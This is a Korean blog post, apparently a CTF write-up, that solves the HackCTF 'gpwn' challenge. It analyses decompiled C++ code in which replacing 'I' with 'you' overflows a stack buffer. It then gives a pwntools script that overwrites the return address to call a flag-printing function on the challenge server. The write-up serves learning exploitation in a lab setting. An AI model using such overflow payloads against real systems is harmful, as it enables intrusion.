gpwn 파일을 다운받아 코드를 확인해보면 다음과 같다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
main 함수에서는 별 다른 건 없고 vuln 함수를 호출한다.
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}
vuln 함수의 내용을 보니, c++로 작성된 듯 하다. 중간에 보면, you와 I라는 단어가 보이고 그 아래에 replace 함수를 호출한 것이 보인다.
또, s의 위치는 ebp-3C인데, fgets를 통해 32바이트만 입력 받는 것으로 보아서, 혹시 I와 you라는 단어를 이용하는 건가 싶어 gpwn을 실행 한 후 I를 입력해보았다.
replace 함수를 이용해 I를 모두 you로 바꾸어주는 것을 볼 수 있다. 만약 "I"를 30개 입력한다면, 실제 저장되는 값은 "you" 90개이고, ret에 접근하기엔 충분한 길이이기 때문에 이를 이용하여 공격하도록 한다.
그 전에, gpwn에 정의된 함수 중 get_flag라는 함수를 먼저 보도록 한다.
int get_flag()
{
return system("cat flag.txt");
}
ret에 0x08048F0D를 덮어씌우면, flag를 출력할 것이다. 페이로드는 다음과 같다.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3011)
flag = 0x08048F0D
payload = "I" * 21 + "\x90" + p32(flag) #"you"*21 = 63 bytes + "\x90" = 64bytes.
r.sendline(payload)
r.interactive()
buf [60bytes] + sfp [4bytes] = 64bytes 이므로, "you"*21 + "\x90" 로 채워준 뒤에 get_flag 주소를 넣도록 한다.
성공적으로 flag가 출력되었다.
'Pwnable > HackCTF' 카테고리의 다른 글
[ProjectH4C] HackCTF (1996) (0) | 2020.09.27 |
---|---|
[ProjectH4C] HackCTF (poet) (0) | 2020.09.27 |
[ProjectH4C] HackCTF (RTL_World) (0) | 2020.09.27 |
[ProjectH4C] HackCTF (BOF_PIE) (0) | 2020.09.18 |
[ProjectH4C] HackCTF (Offset) (0) | 2020.09.18 |